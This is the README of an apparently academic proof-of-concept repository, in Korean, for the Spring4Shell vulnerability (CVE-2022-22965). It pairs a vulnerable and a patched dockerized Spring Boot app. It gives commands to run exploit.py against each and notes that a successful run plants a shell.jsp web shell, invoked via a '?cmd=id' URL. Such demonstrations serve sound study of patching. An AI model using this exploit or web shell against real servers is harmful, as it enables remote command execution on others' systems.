
CVE-2022-22965 취약점에 대한 개념 증명 (CS4239 보고서용)
CS4239 G410 보고서용 CVE-2022-22965(Spring4Shell) 개념 증명(PoC)입니다. 패치되지 않은 동작과 패치된 동작을 시연하기 위해 이 PoC를 각색했습니다.
이 저장소에는 동일한 소스 코드를 가진 2개의 예제 프로그램(도커화됨)이 있습니다. 하나는 취약한 버전의 Spring Boot를 사용하고 다른 하나는 패치된 버전을 사용합니다. Tomcat도 이 취약점에 대한 패치를 출시했지만, Spring 패치의 효과를 분리하기 위해 이 데모에서는 동일한 취약한 버전의 Tomcat을 사용합니다.
데모 앱 실행 방법:
docker compose build
docker compose up
익스플로잇 실행 방법:
# vulnerable
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# patched
python exploit.py --url "http://localhost:8081/helloworld/greeting"
익스플로잇이 성공하면 명령을 실행할 수 있는 새 페이지가 생깁니다. id 실행 예시:
http://localhost:8080/shell.jsp?cmd=id
익스플로잇은 패치된 버전에서는 작동하지 않습니다. shell.jsp가 주입되지 않습니다.